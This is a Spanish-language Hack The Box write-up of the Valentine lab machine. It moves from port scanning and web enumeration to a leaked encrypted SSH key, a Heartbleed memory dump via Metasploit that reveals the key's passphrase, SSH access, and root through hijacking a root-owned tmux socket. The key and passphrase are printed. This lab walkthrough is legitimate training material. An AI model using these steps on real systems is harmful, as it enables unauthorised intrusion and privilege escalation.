Valentine

Hack The Box — Writeup

Valentine

IP:10.129.232.136
OS:Linux
Dificultad:Easy
Fecha:29 de junio de 2026

Reconocimiento

Escaneo inicial

Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.

# Comando ejecutado
sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn "$target_ip" -oG allPorts

# Output
PORT    STATE SERVICE REASON
22/tcp  open  ssh     syn-ack ttl 63
80/tcp  open  http    syn-ack ttl 63
443/tcp open  https   syn-ack ttl 63

Se encontraron 3 puertos abiertos: puerto 22 (SSH), puerto 80 (HTTP) y puerto 443 (HTTPS). Por ahora se cuenta con 2 vectores de ataque iniciales: el puerto 80 (HTTP) y el puerto 443 (HTTPS).

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA)
|   2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA)
|_  256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA)
80/tcp  open  http     Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
443/tcp open  ssl/http Apache httpd 2.2.22 ((Ubuntu))
|_ssl-date: 2026-06-29T05:41:54+00:00; -1m19s from scanner time.
| ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US
| Not valid before: 2018-02-06T00:45:25
|_Not valid after:  2019-02-06T00:45:25
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Hipótesis: dada la versión de Apache identificada (2.2.22), claramente desactualizada y con múltiples CVE públicos asociados, se realizó una investigación preliminar de las vulnerabilidades conocidas para esta versión. Sin embargo, no se ejecutó ningún exploit en este punto, decidiéndose continuar primero con la enumeración web antes de profundizar en alguna CVE específica, dado que ninguna presentaba un vector claro de explotación sin más contexto de la aplicación.

Enumeración web inicial

Luego de confirmar la versión del servicio, se procedió a visualizar la página web para identificar contenido expuesto.

Página web principal

Al no encontrarse nada de valor en la página principal, se revisó el código fuente mediante Ctrl+U:

<center><img src="omg.jpg"/></center>

Observación: no se encontró información adicional en el código fuente, únicamente la referencia a la imagen omg.jpg. Se procedió a lanzar un escaneo con feroxbuster para enumerar contenido adicional.

# Comando ejecutado
feroxbuster -u http://10.129.232.136/ -w /usr/share/seclists/
Discovery/Web-Content/common.txt 

# Output
200      GET       27l       54w      554c http://10.129.232.136/encode.php
200      GET       25l       54w      552c http://10.129.232.136/decode
301      GET        9l       28w      314c http://10.129.232.136/dev =>
http://10.129.232.136/dev/
200      GET        8l       39w      227c http://10.129.232.136/dev/notes.txt
200      GET       25l       54w      552c http://10.129.232.136/decode.php
200      GET       27l       54w      554c http://10.129.232.136/encode
200      GET        2l     1794w     5383c http://10.129.232.136/dev/hype_key

Se identificaron múltiples rutas de interés: los endpoints encode.php/encode y decode.php/decode, además de dev/notes.txt y dev/hype_key.

Enumeración

Análisis de notes.txt

cat dev/notes.txt

To do:

1) Coffee.
2) Research.
3) Fix decoder/encoder before going live.
4) Make sure encoding/decoding is only done client-side.
5) Don't use the decoder/encoder until any of this is done.
6) Find a better way to take notes.

Observación: la nota del desarrollador confirma que el endpoint de codificación/decodificación seguía activo en el servidor a pesar de estar marcado como pendiente de corrección, lo cual sugiere que su lógica podría contener una vulnerabilidad explotable o, al menos, ser relevante para la cadena de ataque.

Pruebas sobre encode.php/decode.php

Hipótesis: se planteó probar el comportamiento de ambos endpoints con una entrada de control para identificar el tipo de codificación utilizada.

Prueba de entrada hola en decode.php

Se ingresó el texto hola en decode.php, obteniendo como salida una cadena de caracteres no legíbles (†‰Z). Al introducir ese mismo resultado en encode.php:

Resultado al volver a codificar la salida
anterior

Your input: †‰Z
Your encoded input: 4oCg4oCwWiA=

Conclusión: el resultado termina en =, patrón característico de Base64. Esto confirma que decode.php interpreta la entrada como Base64 y la decodifica a bytes crudos, mientras que encode.php realiza la operación inversa.

Acceso a dev/hype_key

Al acceder a la ruta dev/hype_key se obtuvo, en lugar del archivo directamente, un volcado de su contenido en formato hexadecimal mostrado en el navegador.

(volcado hexadecimal completo omitido en el documento por extensión; corresponde íntegramente al contenido mostrado en la ruta accedida)

Intento fallido — herramienta xxd no disponible:

Se intentó convertir el volcado hexadecimal a su forma binaria real mediante xxd, sin embargo dicho comando no se encontraba instalado en el sistema:

echo "2d 2d 2d 2d 2d 42 45 47 49 4e ... [volcado completo]" | xxd -r -p > hype_key
zsh: command not found: xxd

Por qué no funcionó: en BlackArch, el comando xxd no viene preinstalado por defecto; debe instalarse a través de algún paquete que lo provea (vim, gvim o tinyxxd).

Se intentó instalar vía pacman, encontrando un problema adicional de mirror desactualizado:

sudo pacman -S xxd
[sudo] password for Avilx:
warning: config file /etc/pacman.conf, line 103: directive 'IgnorePkg' in section 'blackarch' not recognized.
:: There are 3 providers available for xxd:
:: Repository extra
1) gvim  2) tinyxxd  3) vim
Enter a number (default=1):
resolving dependencies...
looking for conflicting packages...
Packages (4) libcanberra-1:0.30+r2+gc0620e4-6  sound-theme-freedesktop-0.8-6  vim-runtime-9.2.0699-1  gvim-9.2.0699-1
Total Download Size:   10.75 MiB
Total Installed Size:  45.04 MiB
:: Proceed with installation? [Y/n]
:: Retrieving packages...
vim-runtime-9.2.0699-1-x86_64.pkg.tar.zst failed to download
gvim-9.2.0699-1-x86_64.pkg.tar.zst failed to download
libcanberra-1:0.30+r2+gc0620e4-6-x86_64                                                            82.5 KiB  67.5 KiB/s 00:01 [#####] 100%
sound-theme-freedesktop-0.8-6-any                                                                 368.6 KiB   265 KiB/s 00:01 [#####] 100%
Total (4/4)                                                                                        10.8 MiB  6.73 MiB/s 00:02 [#####] 100%
error: failed retrieving file 'gvim-9.2.0699-1-x86_64.pkg.tar.zst' from mirror.rackspace.com : The requested URL returned error: 404
error: failed retrieving file 'vim-runtime-9.2.0699-1-x86_64.pkg.tar.zst' from mirror.rackspace.com : The requested URL returned error: 404
warning: failed to retrieve some files
error: failed to commit transaction (failed to retrieve some files)
Errors occurred, no packages were upgraded.

Por qué no funcionó: el proveedor por defecto (gvim) depende de vim-runtime, y ambos paquetes fallaron al descargarse desde el mirror mirror.rackspace.com (error 404), probablemente por encontrarse desactualizado o con el paquete movido.

Solución: se reintentó la instalación seleccionando explícitamente el proveedor alternativo tinyxxd, más liviano y sin las dependencias problemáticas de vim/gvim:

sudo pacman -S tinyxxd

Una vez disponible la herramienta, se convirtió directamente el volcado hexadecimal observado en el navegador a su forma binaria real mediante un único comando:

echo "2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 52 49 56
41 54 45 20 4b 45 59 2d 2d 2d 2d 2d ... [volcado completo] ...
2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 52 49 56 41 54 45 20
4b 45 59 2d 2d 2d 2d 2d" | xxd -r -p > hype_key

Resultado: se obtuvo una clave privada RSA cifrada:

cat hype_key

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,AEB88C140F69BF2074788DE24AE48D46

DbPrO78kegNuk1DAqlAN5jbjXv0PPsog3jdbMFS8iE9p3UOL0lF0xf7PzmrkDa8R
5y/b46+9nEpCMfTPhNuJRcW2U2gJcOFH+9RJDBC5UJMUS1/gjB/7/My00Mwx+aI6
0EI0SbOYUAV1W4EV7m96QsZjrwJvnjVafm6VsKaTPBHpugcASvMqz76W6abRZeXi
Ebw66hjFmAu4AzqcM/kigNRFPYuNiXrXs1w/deLCqCJ+Ea1T8zlas6fcmhM8A+8P
OXBKNe6l17hKaT6wFnp5eXOaUIHvHnvO6ScHVWRrZ70fcpcpimL1w13Tgdd2AiGd
pHLJpYUII5PuO6x+LS8n1r/GWMqSOEimNRD1j/59/4u3ROrTCKeo9DsTRqs2k1SH
QdWwFwaXbYyT1uxAMSl5Hq9OD5HJ8G0R6JI5RvCNUQjwx0FITjjMjnLIpxjvfq+E
p0gD0UcylKm6rCZqacwnSddHW8W3LxJmCxdxW5lt5dPjAkBYRUnl91ESCiD4Z+uC
Ol6jLFD2kaOLfuyee0fYCb7GTqOe7EmMB3fGIwSdW8OC8NWTkwpjc0ELblUa6ulO
t9grSosRTCsZd14OPts4bLspKxMMOsgnKloXvnlPOSwSpWy9Wp6y8XX8+F40rxl5
XqhDUBhyk1C3YPOiDuPOnMXaIpe1dgb0NdD1M9ZQSNULw1DHCGPP4JSSxX7BWdDK
aAnWJvFglA4oFBBVA8uAPMfV2XFQnjwUT5bPLC65tFstoRtTZ1uSruai27kxTnLQ
+wQ87lMadds1GQNeGsKSf8R/rsRKeeKcilDePCjeaLqtqxnhNoFtg0Mxt6r2gb1E
AloQ6jg5Tbj5J7quYXZPylBljNp9GVpinPc3KpHttvgbptfiWEEsZYn5yZPhUr9Q
r08pkOxArXE2dj7eX+bq65635OJ6TqHbAlTQ1Rs9PulrS7K4SLX7nY89/RZ5oSQe
2VWRyTZ1FfngJSsv9+Mfvz341lbzOIWmk7WfEcWcHc16n9V0IbSNALnjThvEcPky
e1BsfSbsf9FguUZkgHAnnfRKkGVG1OVyuwc/LVjmbhZzKwLhaZRNd8HEM86fNojP
09nVjTaYtWUXk0Si1W02wbu1NzL+1Tg9IpNyISFCFYjSqiyG+WU7IwK3YU5kp3CC
dYScz63Q2pQafxfSbuv4CMnNpdirVKEo5nRRfK/iaL3X1R3DxV8eSYFKFL6pqpuX
cY5YZJGAp+JxsnIQ9CFyxIt92frXznsjhlYa8svbVNNfk/9fyX6op24rL2DyESpY
pnsukBCFBkZHWNNyeN7b5GhTVCodHhzHVFehTuBrp+VuPqaqDvMCVe1DZCb4MjAj
Mslf+9xK+TXEL3icmIOBRdPyw6e/JlQlVRlmShFpI8eb/8VsTyJSe+b853zuV2qL
suLaBMxYKm3+zEDIDveKPNaaWZgEcqxylCC/wUyUXlMJ50Nw6JNVMM8LeCii3OEW
l0ln9L1b/NXpHjGa8WHHTjoIilB5qNUyywSeTBF2awRlXH9BrkZG4Fc4gdmW/IzT
RUgZkbMQZNIIfzj1QuilRVBm/F76Y/YMrmnM9k/1xSGIskwCUQ+95CGHJE8MkhD3
-----END RSA PRIVATE KEY-----

Observación: la línea Proc-Type: 4,ENCRYPTED confirma que la clave está cifrada mediante AES-128-CBC y requiere una passphrase válida para poder ser utilizada con ssh.

Análisis preliminar de omg.jpg

Dado el tamaño inusualmente grande del archivo (275 KB para una imagen simple), se sospechó la posible existencia de datos ocultos mediante esteganografía.

strings omg.jpg

Resultado: la salida no arrojó cadenas de texto legíbles relevantes, únicamente el ruido binario propio de la compresión JPEG.

Se probó adicionalmente con steghide:

steghide info omg.jpg

"omg.jpg":
format: jpeg
capacity: 8.2 KB
Try to get information about embedded data ? (y/n) y
Enter passphrase:

Observación: steghide confirma una capacidad de 8.2 KB para datos embebidos dentro de la imagen, pero requiere una contraseña válida incluso para mostrar la información del archivo oculto. Se planteó como hipótesis que dicha contraseña podría coincidir con la passphrase de la clave hype_key, quedando pendiente de confirmar hasta obtener dicha passphrase.

Explotación

Intento de crackeo de la passphrase — ssh2john

Se convirtió la clave privada a un formato compatible con John the Ripper:

ssh2john hype_key > hype_key.hash
cat hype_key.hash

hype_key:$sshng$1$16$AEB88C140F69BF2074788DE24AE48D46$1200$0db3eb3bbf247a036e9350c0aa500de636e35efd0f3eca20de375b3054bc884f69dd438bd25174c5fecfce6ae40daf11e72fdbe3afbd9c4a4231f4cf84db8945c5b653680970e147
fbd4490c10b95093144b5fe08c1ffbfcccb4d0cc31f9a23ad0423449b3985005755b8115ee6f7a42c663af026f9e355a7e6e95b0a6933c11e9ba07004af32acfbe96e9a6d165e5e211bc3aea18c5980bb8033a9c33f92280d4453d8b8d897ad7b35c3f75e2c
2a8227e11ad53f3395ab3a7dc9a133c03ef0f39704a35eea5d7b84a693eb0167a7979739a5081ef1e7bcee9270755646b67bd1f7297298a62f5c35dd381d77602219da472c9a585082393ee3bac7e2d2f27d6bfc658ca923848a63510f58ffe7dff8bb744ea
d308a7a8f43b1346ab3693548741d5b01706976d8c93d6ec403129791eaf4e0f91c9f06d11e8923946f08d5108f0c741484e38cc8e72c8a718ef7eaf84a74803d1473294a9baac266a69cc2749d7475bc5b72f12660b17715b996de5d3e30240584549e5f75
1120a20f867eb823a5ea32c50f691a38b7eec9e7b47d809bec64ea39eec498c0777c623049d5bc382f0d593930a6373410b6e551aeae94eb7d82b4a8b114c2b19775e0e3edb386cbb292b130c3ac8272a5a17be794f392c12a56cbd5a9eb2f175fcf85e34af
19795ea8435018729350b760f3a20ee3ce9cc5da2297b57606f435d0f533d65048d50bc350c70863cfe09492c57ec159d0ca6809d626f160940e2814105503cb803cc7d5d971509e3c144f96cf2c2eb9b45b2da11b53675b92aee6a2dbb9314e72d0fb043ce
e531a75db3519035e1ac2927fc47faec44a79e29c8a50de3c28de68baadab19e136816d834331b7aaf681bd44025a10ea38394db8f927baae61764fca50658cda7d195a629cf7372a91edb6f81ba6d7e258412c6589f9c993e152bf50af4f2990ec40ad7136
763ede5fe6eaeb9eb7e4e27a4ea1db0254d0d51b3d3ee96b4bb2b848b5fb9d8f3dfd1679a1241ed95591c9367515f9e0252b2ff7e31fbf3df8d656f33885a693b59f11c59c1dcd7a9fd57421b48d00b9e34e1bc470f9327b506c7d26ec7fd160b9466480702
79df44a906546d4e572bb073f2d58e66e16732b02e169944d77c1c433ce9f3688cfd3d9d58d3698b565179344a2d56d36c1bbb53732fed5383d2293722121421588d2aa2c86f9653b2302b7614e64a7708275849ccfadd0da941a7f17d26eebf808c9cda5d8
ab54a128e674517cafe268bdd7d51dc3c55f1e49814a14bea9aa9b97718e58649180a7e271b27210f42172c48b7dd9fad7ce7b2386561af2cbdb54d35f93ff5fc97ea8a76e2b2f60f2112a58a67b2e90108506464758d37278dedbe46853542a1d1e1cc7545
7a14ee06ba7e56e3ea6aa0ef30255ed436426f832302332c95ffbdc4af935c42f789c98838145d3f2c3a7bf2654255519664a116923c79bffc56c4f22527be6fce77cee576a8bb2e2da04cc582a6dfecc40c80ef78a3cd69a59980472ac729420bfc14c945e
5309e74370e8935530cf0b7828a2dce116974967f4bd5bfcd5e91e319af161c74e3a088a5079a8d532cb049e4c11766b04655c7f41ae4646e0573881d996fc8cd345481991b31064d2087f38f542e8a5455066fc5efa63f60cae69ccf64ff5c52188b24c025
10fbde42187244f0c9210f7

Intento fallido — wordlist incorrecta:

john --wordlist=/usr/share/wordlists/rockyou.txt hype_key.hash
fopen: /usr/share/wordlists/rockyou.txt: No such file or directory

Por qué no funcionó: en BlackArch, la wordlist rockyou.txt no se encuentra en la ruta convencional de Kali (/usr/share/wordlists/), sino dentro del paquete seclists.

Solución: se localizó la ruta correcta:

/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt

Segundo intento fallido — sin coincidencias:

john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hype_key.hash

Warning: detected hash type "SSH", but the string is also recognized as "ssh-opencl"
Use the "--format=ssh-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 12 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:01 DONE (2026-06-29 06:25) 0g/s 8289Kp/s 8289Kc/s 8289KC/s  0 0 0..*7Vamos
Session completed

Por qué no funcionó: el indicador 0g confirma que ningún candidato del diccionario coincidió con la passphrase real; rockyou.txt no contenía la contraseña correcta, por tratarse esta de una passphrase específica relacionada con la temática de la máquina y no una contraseña genérica filtrada.

(se descartó esta vía temporalmente, retomando el análisis de los servicios HTTP/HTTPS en busca de otra fuente para obtener la passphrase)

Explotación de Heartbleed (CVE-2014-0160)

Hipótesis: dado el tema de la máquina (Valentine, jugando con el concepto de heartbleed / corazón roto) y la versión de Apache desactualizada identificada en el reconocimiento, se sospechó que el servicio HTTPS pudiera ser vulnerable a Heartbleed.

nmap -p443 --script ssl-heartbleed 10.129.232.136

Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-29 06:28 +0000
Nmap scan report for 10.129.232.136
Host is up (0.087s latency).
PORT    STATE SERVICE
443/tcp open  https
| ssl-heartbleed:
|   VULNERABLE:
|   The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
|     State: VULNERABLE
|     Risk factor: High
|       OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|
|     References:
|       http://cvedetails.com/cve/2014-0160/
|       http://www.openssl.org/news/secadv_20140407.txt
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
Nmap done: 1 IP address (1 host up) scanned in 1.03 seconds

Resultado: se confirmó que el servidor es vulnerable a Heartbleed, permitiendo la lectura remota de memoria del proceso sin autenticación.

Explotación con Metasploit

Se utilizó el módulo correspondiente para volcar fragmentos de memoria filtrada:

msf auxiliary(scanner/ssl/openssl_heartbleed) > run

[*] 10.129.232.136:443    - Leaking heartbeat response #1
[*] 10.129.232.136:443    - Sending Client Hello...
[*] 10.129.232.136:443    - Heartbeat response, 65535 bytes
[+] 10.129.232.136:443    - Heartbeat response with leak, 65535 bytes
[+] 10.129.232.136:443    - Heartbeat data stored in /home/Avilx/.msf4/loot/20260629062914_default_10.129.232.136_openssl.heartble_690081.bin
[*] 10.129.232.136:443    - Printable info leaked:
[...]
ux i686; rv:45.0) Gecko/20100101 Firefox/45.0..Referer: https://127.0.0.1/decode.php..Content-Type: application/x-www-form-urlencoded..Content-Length: 42....$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==
[...]
[*] 10.129.232.136:443    - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Hallazgo: dentro del volcado de memoria filtrado se identificó una petición HTTP completa hacia decode.php, conteniendo un parámetro text codificado en Base64:aGVhcnRibGVlZG JlbGlldmV0aGVoeXBlCg==. Esto corresponde a una prueba previa del propio desarrollador sobre el endpoint de decodificación, capturada en memoria por la vulnerabilidad de Heartbleed.

Decodificación del texto filtrado

echo "aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==" | base64 -d

heartbleedbelievethehype

Resultado: se obtuvo la cadena heartbleedbelievethehype, planteada como hipótesis de passphrase para la clave hype_key.

Acceso SSH con la clave descifrada

chmod 600 hype_key
ssh -i hype_key [email protected]

The authenticity of host '10.129.232.136 (10.129.232.136)' can't be established.
ECDSA key fingerprint is: SHA256:lqH8pv30qdlekhX8RTgJTq79ljYnL2cXflNTYu8LS5w
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.232.136' (ECDSA) to the list of known hosts.
Enter passphrase for key 'hype_key':
sign_and_send_pubkey: no mutual signature supported
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:
Permission denied, please try again.

Observación: la passphrase heartbleedbelievethehype fue aceptada correctamente para descifrar la clave (de lo contrario, se habría obtenido un error de descifrado inmediato en lugar de avanzar a la fase de autenticación). El problema real es distinto: el mensaje sign_and_send_pubkey: no mutual signature supported indica una incompatibilidad de algoritmos de firma entre cliente y servidor.

Por qué no funcionó: las versiones modernas de OpenSSH (a partir de la 8.8) deshabilitaron por defecto el algoritmo de firma ssh-rsa (basado en SHA-1) por considerarse criptográficamente débil. El servidor de esta máquina, al ser de 2018, únicamente soporta dicho algoritmo para la autenticación con esta clave RSA, generando una incompatibilidad que el cliente intenta resolver de forma fallida solicitando la contraseña de usuario como método alternativo.

Solución: se forzó explícitamente la inclusión de dicho algoritmo en la lista de algoritmos aceptados por el cliente:

ssh -i hype_key -o PubkeyAcceptedAlgorithms=+ssh-rsa [email protected]

Resultado: se ingresó nuevamente la passphrase heartbleedbelievethehype, obteniendo acceso exitoso como el usuario hype.

Escalada de Privilegios

Intento fallido — sudo -l

hype@Valentine:~$ sudo -l
[sudo] password for hype:
^CSorry, try again.
[sudo] password for hype:
sudo: 1 incorrect password attempt

Por qué no funcionó: la passphrase de la clave SSH no corresponde necesariamente a la contraseña de login del sistema operativo para el usuario hype; son credenciales independientes. Se descartó esta vía y se continuó con enumeración manual.

Enumeración de binarios SUID

find / -perm -4000 -type f 2>/dev/null

/bin/su
/bin/fusermount
/bin/umount
/bin/ping
/bin/ping6
/bin/mount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/pt_chown
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/bin/pkexec
/usr/bin/sudoedit
/usr/bin/X
/usr/bin/newgrp
/usr/bin/lppasswd
/usr/bin/mtr
/usr/bin/chsh
/usr/bin/arping
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/at
/usr/bin/chfn
/usr/bin/traceroute6.iputils
/usr/bin/gpasswd
/usr/sbin/uuidd
/usr/sbin/pppd

Por qué no funcionó: todos los binarios listados corresponden a utilidades SUID estándar del sistema, sin ninguna configuración inusual o explotable de forma directa. Se descartó esta vía.

Enumeración de procesos

ps aux

[...salida completa de procesos del sistema...]
root        920  0.0  0.2  49952  2860 ?        Ss   
22:34   0:00 /usr/sbin/sshd -D
root       1022  0.0  0.1  26416  1676 ?        Ss   
22:34   0:01 /usr/bin/tmux -S /.devs/dev_sess
root       1025  0.0  0.4  20652  4572 pts/11   Ss+  
22:34   0:00 -bash
root       1194  0.0  1.0 113124 10900 ?        Ss   
22:34   0:00 /usr/sbin/apache2 -k start

Hallazgo: se identificó un proceso tmux ejecutándose como root, con un socket personalizado ubicado en /.devs/dev_sess. Cuando tmux corre con un socket personalizado (-S), cualquier usuario con permisos de lectura/escritura sobre dicho archivo puede adjuntarse a la sesión existente, heredando los privilegios de quien la inició.

ls -la /.devs/

total 8
drwxr-xr-x  2 root hype 4096 Jun 28 22:34 .
drwxr-xr-x 26 root root 4096 Aug 24  2022 ..
srw-rw----  1 root hype    0 Jun 28 22:34 dev_sess

Observación: el socket pertenece al grupo hype, con permisos de lectura/escritura para dicho grupo, confirmando que el usuario actual puede conectarse a la sesión.

Intento fallido — adjuntar sesión tmux

tmux -S /.devs/dev_sess attach
terminal open failed: missing or unsuitable terminal: tmux-256color

Por qué no funcionó: el terminal local no reconoce el tipo de terminal tmux-256color que la sesión remota espera, debido a diferencias en la configuración de TERM entre el entorno local y el del servidor.

Solución: se forzó un tipo de terminal estándar compatible antes de conectar:

TERM=xterm tmux -S /.devs/dev_sess attach

Resultado: se obtuvo acceso exitoso a la sesión de tmux con privilegios de root (proceso de instalación de udev visible en pantalla al momento de adjuntarse):

root        488  0.0  0.1  21872  1144 ?        S    22:34   0:00 /sbin/udevd 
--daemon
root@Valentine:/# pwd
/
root@Valentine:/# ls
bin  boot  cdrom  dev  devs  etc  home  initrd.img  lib  lib64  lost+found  media
mnt  opt  proc  root  run  sbin  selinux  srv  sys  tmp  usr  var  vmlinuz